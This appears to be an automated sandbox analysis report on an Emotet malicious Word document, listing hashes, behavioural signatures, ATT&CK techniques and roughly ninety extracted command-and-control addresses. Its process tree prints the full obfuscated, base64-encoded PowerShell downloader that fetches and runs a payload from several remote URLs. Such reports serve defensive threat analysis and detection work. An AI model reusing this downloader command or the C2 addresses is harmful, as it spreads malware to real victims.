emotet | aaa0b201b6ecd9225b9f151fef9ab72ef2b37f5b2a35ae38b130f2b9b7cc5e8b

Analysis

max time kernel
143s
max time network
141s
platform
windows10_x64
resource
win10v200722
submitted
16/10/2020, 13:27

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General

Target
emotet_e2_aaa0b201b6ecd9225b9f151fef9ab72ef2b37f5b2a35ae38b130f2b9b7cc5e8b_2020-10-16__132524990390._doc.doc
Size 154KB
Sample201016-na42nprvrx
SHA256 aaa0b201b6ecd9225b9f151fef9ab72ef2b37f5b2a35ae38b130f2b9b7cc5e8b
MD5 92b86dd63d519f2b254bbc0861bcbf29
SHA1 d790fea0c096945ca79d6d8d7f7beb9961cada59
SHA512 203e34272b5f2f424f8e945a27c2d700e3b62911859c993f4a0dd3f6e1f8e5b39ec9f14fc4168b0725e23ecf91089a709caa114ff3d5c33494e8e5923e235cc4
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Family

emotet

Botnet

Epoch2

184.180.181.202:80
169.50.76.149:8080
162.241.140.129:8080
104.131.123.136:443
194.187.133.160:443
71.15.245.148:8080
37.139.21.175:8080
104.131.11.150:443
118.83.154.64:443
24.137.76.62:80
79.137.83.50:443
69.206.132.149:80
110.142.236.207:80
123.176.25.234:80
120.150.60.189:80
209.54.13.14:80
95.213.236.64:8080
209.141.54.221:8080
96.245.227.43:80
87.106.139.101:8080
89.216.122.92:80
140.186.212.146:80
104.131.44.150:8080
190.240.194.77:443
124.41.215.226:80
142.112.10.95:20
130.0.132.242:80
91.211.88.52:7080
203.153.216.189:7080
110.145.77.103:80
186.74.215.34:80
121.7.31.214:80
50.91.114.38:80
5.196.74.210:8080
47.144.21.12:443
134.209.36.254:8080
74.208.45.104:8080
103.86.49.11:8080
72.143.73.234:443
80.241.255.202:8080
94.23.237.171:443
74.214.230.200:80
68.252.26.78:80
91.146.156.228:80
190.108.228.27:443
218.147.193.146:80
76.175.162.101:80
121.124.124.40:7080
75.143.247.51:80
94.200.114.161:80
93.147.212.206:80
139.162.60.124:8080
50.35.17.13:80
216.139.123.119:80
71.72.196.159:80
137.59.187.107:8080
109.74.5.95:8080
174.45.13.118:80
172.91.208.86:80
194.4.58.192:7080
168.235.67.138:7080
139.59.60.244:8080
87.106.136.232:8080
139.99.158.11:443
62.30.7.67:443
188.219.31.12:80
96.249.236.156:443
24.179.13.119:80
78.24.219.147:8080
47.36.140.164:80
185.94.252.104:443
75.139.38.211:80
108.46.29.236:80
62.75.141.82:80
113.61.66.94:80
79.98.24.39:8080
5.39.91.110:7080
37.187.72.193:8080
220.245.198.194:80
85.25.106.204:8080
83.110.223.58:443
61.19.246.238:443
97.82.79.83:80
120.150.218.241:443
46.105.131.79:8080
174.106.122.139:80
78.188.106.53:443
172.104.97.173:8080
139.162.108.71:8080
176.111.60.55:8080
49.50.209.131:80
162.241.242.173:8080
5.196.108.189:8080
157.245.99.39:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1920	1756	POwersheLL.exe	72

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/812-14-0x0000000002220000-0x000000000224F000-memory.dmp	emotet
behavioral2/memory/812-15-0x0000000002250000-0x000000000227E000-memory.dmp	emotet
behavioral2/memory/2140-18-0x0000000002160000-0x000000000218F000-memory.dmp	emotet
behavioral2/memory/2140-19-0x0000000002190000-0x00000000021BE000-memory.dmp	emotet

Blacklisted process makes network request 7 IoCs

flow	pid	Process
26	1920	POwersheLL.exe
28	1920	POwersheLL.exe
30	1920	POwersheLL.exe
32	1920	POwersheLL.exe
34	1920	POwersheLL.exe
36	1920	POwersheLL.exe
38	1920	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
812	I90_plys9.exe
2140	winrsmgr.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\msoert2\winrsmgr.exe	I90_plys9.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3888	WINWORD.EXE
3888	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1920	POwersheLL.exe
1920	POwersheLL.exe
1920	POwersheLL.exe
2140	winrsmgr.exe
2140	winrsmgr.exe
2140	winrsmgr.exe
2140	winrsmgr.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1920	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
812	I90_plys9.exe
2140	winrsmgr.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 812 wrote to memory of 2140	812	I90_plys9.exe	81
PID 812 wrote to memory of 2140	812	I90_plys9.exe	81
PID 812 wrote to memory of 2140	812	I90_plys9.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_aaa0b201b6ecd9225b9f151fef9ab72ef2b37f5b2a35ae38b130f2b9b7cc5e8b_2020-10-16__132524990390._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3888

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABSAGoAcgBzAHoANAAwAD0AKAAnAEYAJwArACcAMQAnACsAKAAnAGIAJwArACcAcwBjAGYAZAAnACkAKQA7ACQAUgBpAHUAYwAwADUAMgA9ACQAUgB3AGkAaQBzAHYANAAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQAgACsAIAAyADAAIAArACAAMQAwACAAKwAgADEAMAApACAAKwAgACQAWQBfAGUAcABrAHkANgA7ACQARwBfAG4AegBtAGoANAA9ACgAKAAnAEoAJwArACcAXwAxADYAJwApACsAKAAnAHMAMAAnACsAJwB5ACcAKQApADsAWwBzAHkAcwB0AGUAbQAuAGkAbwAuAGQAaQByAGUAYwB0AG8AcgB5AF0AOgA6ACIAYwBSAEUAYQBUAGAAZQBgAGQAaQByAEUAQwB0AE8AcgBZACIAKAAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACAAKwAgACgAKAAnAFoAUgAnACsAKAAnAEQASwBsACcAKwAnAHYAOQAnACsAJwB1AHQAJwApACsAKAAnAHEAJwArACcAWgAnACsAJwBSAEQASQB1ACcAKQArACgAJwAwACcAKwAnADkAJwArACcAZgBlADAAWgBSAEQAJwApACkALQBjAFIAZQBQAGwAQQBDAGUAIAAoAFsAYwBoAEEAUgBdADkAMAArAFsAYwBoAEEAUgBdADgAMgArAFsAYwBoAEEAUgBdADYAOAApACwAWwBjAGgAQQBSAF0AOQAyACkAKQA7ACQATABrAGoAdQA3ADIAYgA9ACgAJwBNACcAKwAoACcAbQB1ACcAKwAnAHoAeQAnACkAKwAnAHUAbAAnACkAOwBbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAcwBlAEMAdQBgAFIAaQB0AGAAWQBwAFIATwBUAGAAbwBjAGAATwBsACIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6ACIAVABMAGAAUwAxADIAIgA7ACQAVwByAGkAYwAzAG8AbAA9ACgAJwBVACcAKwAoACcAdwAnACsAJwA2AHQANwAwACcAKQArACcAeAAnACkAOwAkAFEAbwAyAHEAMABqAHcAIAA9ACAAKAAoACcASQA5ACcAKwAnADAAXwBwACcAKQArACgAJwBsAHkAJwArACcAcwA5ACcAKQApADsAJABHAGEAegBkADAANQB5AD0AKAAnAFoAJwArACgAJwBhADEAJwArACcAdgBwAGMAXwAnACkAKQA7ACQAVABrADcAdABpAHQAegA9ACgAKAAnAEoAMgB2ACcAKwAnAG0AZQAnACkAKwAnAHUANQAnACkAOwAkAE0AcABjAHgAdQBkAHMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcASABwACcAKwAnAEMASwAnACsAJwBsACcAKwAnAHYAJwArACcAOQB1ACcAKwAoACcAdAAnACsAJwBxAEgAJwArACcAcABDAEkAJwArACcAdQAnACsAJwAwADkAZgBlADAASABwACcAKQArACcAQwAnACkALgAiAFIAZQBwAGAAbABhAGAAYwBFACIAKAAoAFsAYwBIAGEAcgBdADcAMgArAFsAYwBIAGEAcgBdADEAMQAyACsAWwBjAEgAYQByAF0ANgA3ACkALAAnAFwAJwApACkAKwAkAFEAbwAyAHEAMABqAHcAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABEAHMAZgBsADIAegB5AD0AKAAoACcAVwB6ACcAKwAnADAAJwApACsAKAAnAHgAaQAnACsAJwAyACcAKQArACcAcwAnACkAOwAkAEoAdQB3AHEAbQBoADMAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4AZQBUAC4AdwBFAGIAQwBMAEkAZQBOAHQAOwAkAFEAZwB4AGUAOABwAGoAPQAoACgAJwBoACcAKwAnAHQAdAAnACsAJwBwAHMAOgAnACkAKwAoACcALwAnACsAJwAvACcAKwAnAHcAdwB3AC4AJwApACsAJwBzACcAKwAnAGEAJwArACgAJwBmAGUAYQBiAG8AcgAnACsAJwB0ACcAKwAnAGkAbwBuAHIAeAAnACsAJwAuAGMAJwApACsAKAAnAG8AbQAnACsAJwAvAGUAeAB0ACcAKwAnAC8AWABJAEkALwAnACkAKwAoACcAKgBoAHQAdABwAHMAOgAnACsAJwAvACcAKQArACcALwBiACcAKwAoACcAcgBpAGcAJwArACcAaAB0AGMAJwApACsAJwBkAHIAJwArACcALgBjACcAKwAoACcAbwBtAC8AJwArACcAdwBwACcAKQArACcALQAnACsAKAAnAGMAbwBuAHQAZQAnACsAJwBuACcAKwAnAHQAJwApACsAKAAnAC8AJwArACcATABOAFQARQBMACcAKQArACgAJwBpACcAKwAnAHEALwAqAGgAJwArACcAdAAnACsAJwB0AHAAcwA6AC8ALwB3AHcAJwArACcAdwAnACsAJwAuAGMAYQAnACsAJwB2AGEAbgBjACcAKwAnAGEAJwApACsAKAAnAHIAdAAnACsAJwAuACcAKQArACgAJwBjAG8AJwArACcAbQAnACkAKwAnAC8AcwAnACsAJwB0AGEAJwArACcAdABpACcAKwAoACcAYwAnACsAJwBtAGEAcAAvACcAKQArACcAVwBSACcAKwAoACcALwAqACcAKwAnAGgAJwApACsAJwB0ACcAKwAnAHQAcAAnACsAJwBzADoAJwArACgAJwAvACcAKwAnAC8AdwB3AHcALgAnACkAKwAoACcAaAAnACsAJwBvAG0AJwApACsAJwBlACcAKwAoACcAYQBiACcAKwAnAG8AJwArACcAcgB0AGkAbwBuACcAKQArACcAcABpACcAKwAnAGwAbAAnACsAKAAnAHMAcgB4ACcAKwAnAC4AYwAnACsAJwBvACcAKQArACcAbQAnACsAKAAnAC8AJwArACcAZQB4AHQALwBOADYAJwApACsAJwBTAEsAJwArACgAJwBkAC8AJwArACcAKgBoAHQAJwApACsAJwB0ACcAKwAoACcAcAAnACsAJwA6ACcAKwAnAC8ALwBwAG8AcgB0ACcAKQArACgAJwBhACcAKwAnAGwALgAnACsAJwBkAGkAZwBpAHQAJwApACsAKAAnAGEAbABjAG8AJwArACcAbQAnACkAKwAnAHAAYQAnACsAKAAnAHMAcwAuAGMAbwBtACcAKwAnAC8AUwAnACkAKwAnAHQAeQAnACsAKAAnAGwAZQAnACsAJwBzACcAKQArACgAJwAvAGQAZQBlACcAKwAnAEIAJwApACsAKAAnAC8AKgBoACcAKwAnAHQAdAAnACkAKwAnAHAAcwAnACsAJwA6ACcAKwAoACcALwAvACcAKwAnAGEAJwApACsAKAAnAHAAJwArACcAaQBkAG8AYwAnACkAKwAoACcAcwAuACcAKwAnAGQAJwApACsAKAAnAGMAZAAnACsAJwBpAGEAbAAnACkAKwAoACcALgAnACsAJwBjAG8AJwApACsAKAAnAG0AJwArACcALwB3ACcAKQArACgAJwBwAC0AJwArACcAaQAnACsAJwBuAGMAbAAnACsAJwB1AGQAZQBzACcAKwAnAC8ASAAvACcAKQArACgAJwAqAGgAJwArACcAdAAnACkAKwAoACcAdAAnACsAJwBwADoALwAnACkAKwAnAC8AJwArACcAMwA2ACcAKwAoACcAMAB3AHcAdwAnACsAJwAuAGMAYQAvAGMAbwAnACsAJwBuAHQAJwApACsAKAAnAGUAJwArACcAbgB0AC8AJwArACcAMgAvACcAKQApAC4AIgBzAHAATABgAGkAVAAiACgAJABBAHYAdQBuAHgAcABiACAAKwAgACQAUgBpAHUAYwAwADUAMgAgACsAIAAkAEgAZAAyAGgAaQBtAGIAKQA7ACQARQBhAHEAOQA4AHkAZAA9ACgAJwBRADYAJwArACcAeQB0ACcAKwAoACcAdQBjACcAKwAnAG4AJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFYANAB6ADEAMQB3AGgAIABpAG4AIAAkAFEAZwB4AGUAOABwAGoAKQB7AHQAcgB5AHsAJABKAHUAdwBxAG0AaAAzAC4AIgBkAE8AVwBgAE4AbABPAGEARABgAEYAYABJAEwARQAiACgAJABWADQAegAxADEAdwBoACwAIAAkAE0AcABjAHgAdQBkAHMAKQA7ACQARwB6AGwAdQBfAHEAZAA9ACgAKAAnAEwAcQBhACcAKwAnAHkAMAAnACkAKwAnAHEANAAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQATQBwAGMAeAB1AGQAcwApAC4AIgBMAEUATgBnAGAAVABoACIAIAAtAGcAZQAgADMAMQA2ADcANgApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AKAAnAHcAJwArACgAJwBpAG4AJwArACcAMwAyAF8AUAByAG8AJwArACcAYwAnACkAKwAoACcAZQBzACcAKwAnAHMAJwApACkAKQAuACIAQwBSAGAARQBhAGAAVABFACIAKAAkAE0AcABjAHgAdQBkAHMAKQA7ACQATwBxAGkAawB2AF8AbQA9ACgAJwBOACcAKwAoACcAMwAzACcAKwAnADIAdABmACcAKQArACcAaQAnACkAOwBiAHIAZQBhAGsAOwAkAEMAMAB0AGEAcgBwADIAPQAoACcAUwByACcAKwAoACcAcgAnACsAJwB5AHEAZAAnACkAKwAnAGcAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABEADcAYQB4AGUAbQB5AD0AKAAnAFoAJwArACgAJwBkAHIAJwArACcAegBsACcAKwAnAF8AOQAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1920

C:\Users\Admin\Klv9utq\Iu09fe0\I90_plys9.exe
C:\Users\Admin\Klv9utq\Iu09fe0\I90_plys9.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:812
- C:\Windows\SysWOW64\msoert2\winrsmgr.exe
  "C:\Windows\SysWOW64\msoert2\winrsmgr.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:2140

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/812-15-0x0000000002250000-0x000000000227E000-memory.dmp

Download

memory/812-14-0x0000000002220000-0x000000000224F000-memory.dmp

Download

memory/1920-9-0x00007FF8B82A0000-0x00007FF8B8C8C000-memory.dmp

Download

memory/1920-10-0x0000021BEA6E0000-0x0000021BEA6E1000-memory.dmp

Download

memory/1920-11-0x0000021BEAA90000-0x0000021BEAA91000-memory.dmp

Download

memory/2140-18-0x0000000002160000-0x000000000218F000-memory.dmp

Download

memory/2140-19-0x0000000002190000-0x00000000021BE000-memory.dmp

Download

memory/3888-0-0x00007FF8BF4A0000-0x00007FF8BFB66000-memory.dmp

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memory/3888-8-0x000001A956499000-0x000001A95649B000-memory.dmp

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memory/3888-6-0x000001A95649B000-0x000001A9564A0000-memory.dmp

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memory/3888-5-0x000001A956396000-0x000001A9563A7000-memory.dmp

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memory/3888-4-0x000001A956396000-0x000001A9563A7000-memory.dmp

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memory/3888-3-0x000001A956393000-0x000001A956396000-memory.dmp

Download

memory/3888-7-0x000001A956499000-0x000001A95649B000-memory.dmp

Download

memory/3888-1-0x000001A955BD0000-0x000001A955BD4000-memory.dmp

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